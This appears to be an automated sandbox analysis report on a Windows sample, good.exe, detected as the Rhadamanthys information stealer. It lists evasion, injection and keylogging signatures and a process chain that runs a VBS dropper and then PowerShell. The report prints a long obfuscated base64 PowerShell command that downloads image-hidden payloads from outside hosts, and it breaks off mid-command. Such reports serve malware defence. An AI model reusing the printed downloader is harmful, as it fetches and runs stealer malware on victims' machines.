Windows
Analysis Report
good.exe
Overview
General Information
Detection
RHADAMANTHYS
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Powershell download and execute
Yara detected RHADAMANTHYS Stealer
.NET source code references suspicious native API functions
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Checks if the current machine is a virtual machine (disk enumeration)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a DirectInput object (often for capturing keystrokes)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain checking for process token information
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains executable resources (Code or Archives)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
good.exe (PID: 7492 cmdline:
"C:\Users\ user\Deskt op\good.ex e" MD5: 1F060BE9FBFE90811A71414791AB8C1B) cmd.exe (PID: 7520 cmdline:
cmd.exe /c fwr.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 7528 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) wscript.exe (PID: 7592 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\Temp\IX P000.TMP\f wr.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 7916 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$dosigo = 'WwBO@GU@ d@@u@FM@ZQ By@HY@aQBj @GU@U@Bv@G k@bgB0@E0@ YQBu@GE@Zw Bl@HI@XQ@6 @Do@UwBl@G M@dQBy@Gk@ d@B5@F@@cg Bv@HQ@bwBj @G8@b@@g@D 0@I@Bb@E4@ ZQB0@C4@Uw Bl@GM@dQBy @Gk@d@B5@F @@cgBv@HQ@ bwBj@G8@b@ BU@Hk@c@Bl @F0@Og@6@F Q@b@Bz@DE@ Mg@N@@o@I@ @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ ZgB1@G4@Yw B0@Gk@bwBu @C@@R@Bv@H c@bgBs@G8@ YQBk@EQ@YQ B0@GE@RgBy @G8@bQBM@G k@bgBr@HM@ I@B7@C@@c@ Bh@HI@YQBt @C@@K@Bb@H M@d@By@Gk@ bgBn@Fs@XQ Bd@CQ@b@Bp @G4@awBz@C k@I@@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@J@B3@GU@ YgBD@Gw@aQ Bl@G4@d@@g @D0@I@BO@G U@dw@t@E8@ YgBq@GU@Yw B0@C@@UwB5 @HM@d@Bl@G 0@LgBO@GU@ d@@u@Fc@ZQ Bi@EM@b@Bp @GU@bgB0@D s@I@@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@J@Bz@Gg@ dQBm@GY@b@ Bl@GQ@T@Bp @G4@awBz@C @@PQ@g@Ec@ ZQB0@C0@Ug Bh@G4@Z@Bv @G0@I@@t@E k@bgBw@HU@ d@BP@GI@ag Bl@GM@d@@g @CQ@b@Bp@G 4@awBz@C@@ LQBD@G8@dQ Bu@HQ@I@@k @Gw@aQBu@G s@cw@u@Ew@ ZQBu@Gc@d@ Bo@Ds@I@@N @@o@I@@g@C @@I@@g@C@@ I@@g@C@@I@ @g@C@@ZgBv @HI@ZQBh@G M@a@@g@Cg@ J@Bs@Gk@bg Br@C@@aQBu @C@@J@Bz@G g@dQBm@GY@ b@Bl@GQ@T@ Bp@G4@awBz @Ck@I@B7@C @@d@By@Hk@ I@B7@C@@cg Bl@HQ@dQBy @G4@I@@k@H c@ZQBi@EM@ b@Bp@GU@bg B0@C4@R@Bv @Hc@bgBs@G 8@YQBk@EQ@ YQB0@GE@K@ @k@Gw@aQBu @Gs@KQ@g@H 0@I@Bj@GE@ d@Bj@Gg@I@ B7@C@@YwBv @G4@d@Bp@G 4@dQBl@C@@ fQ@g@H0@Ow @g@@0@Cg@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@I@ By@GU@d@B1 @HI@bg@g@C Q@bgB1@Gw@ b@@g@H0@Ow @g@@0@Cg@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@I@ @k@Gw@aQBu @Gs@cw@g@D 0@I@B@@Cg@ JwBo@HQ@d@ Bw@HM@Og@v @C8@YgBp@H Q@YgB1@GM@ awBl@HQ@Lg Bv@HI@Zw@v @GQ@ZgBn@G g@Z@@v@GY@ ZwBk@C8@Z@ Bv@Hc@bgBs @G8@YQBk@H M@LwB0@GU@ cwB0@C4@ag Bw@Gc@Pw@1 @DE@Nw@2@D E@Mw@n@Cw@ I@@n@Gg@d@ @z@DU@LwBu @GE@bgBv@C 8@cgBl@GY@ cw@v@Gg@ZQ Bh@GQ@cw@v @G0@YQBp@G 4@LwBu@GU@ dwBf@Gk@bQ Bn@DE@Mg@z @C4@agBw@G c@Jw@p@Ds@ DQ@K@C@@I@ @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ J@Bp@G0@YQ Bn@GU@QgB5 @HQ@ZQBz@C @@PQ@g@EQ@ bwB3@G4@b@ Bv@GE@Z@BE @GE@d@Bh@E Y@cgBv@G0@ T@Bp@G4@aw Bz@C@@J@Bs @Gk@bgBr@H M@Ow@N@@o@ I@@g@C@@I@ @g@C@@I@@g @C@@I@@g@C @@I@Bp@GY@ I@@o@CQ@aQ Bt@GE@ZwBl @EI@eQB0@G U@cw@g@C0@ bgBl@C@@J@ Bu@HU@b@Bs @Ck@I@B7@C @@J@Bp@G0@ YQBn@GU@V@ Bl@Hg@d@@g @D0@I@Bb@F M@eQBz@HQ@ ZQBt@C4@V@ Bl@Hg@d@@u @EU@bgBj@G 8@Z@Bp@G4@ ZwBd@Do@Og BV@FQ@Rg@4 @C4@RwBl@H Q@UwB0@HI@ aQBu@Gc@K@ @k@Gk@bQBh @Gc@ZQBC@H k@d@Bl@HM@ KQ@7@@0@Cg @g@C@@I@@g @C@@I@@g@C @@I@@g@C@@ I@@g@CQ@cw B0@GE@cgB0 @EY@b@Bh@G c@I@@9@C@@ Jw@8@Dw@Qg BB@FM@RQ@2 @DQ@XwBT@F Q@QQBS@FQ@ Pg@+@Cc@Ow @g@CQ@ZQBu @GQ@RgBs@G E@Zw@g@D0@ I@@n@Dw@P@ BC@EE@UwBF @DY@N@Bf@E U@TgBE@D4@ Pg@n@Ds@I@ @k@HM@d@Bh @HI@d@BJ@G 4@Z@Bl@Hg@ I@@9@C@@J@ Bp@G0@YQBn @GU@V@Bl@H g@d@@u@Ek@ bgBk@GU@e@ BP@GY@K@@k @HM@d@Bh@H I@d@BG@Gw@ YQBn@Ck@Ow @g@@0@Cg@g @C@@I@@g@C @@I@@g@C@@ I@@g@C@@I@ @k@GU@bgBk @Ek@bgBk@G U@e@@g@D0@ I@@k@Gk@bQ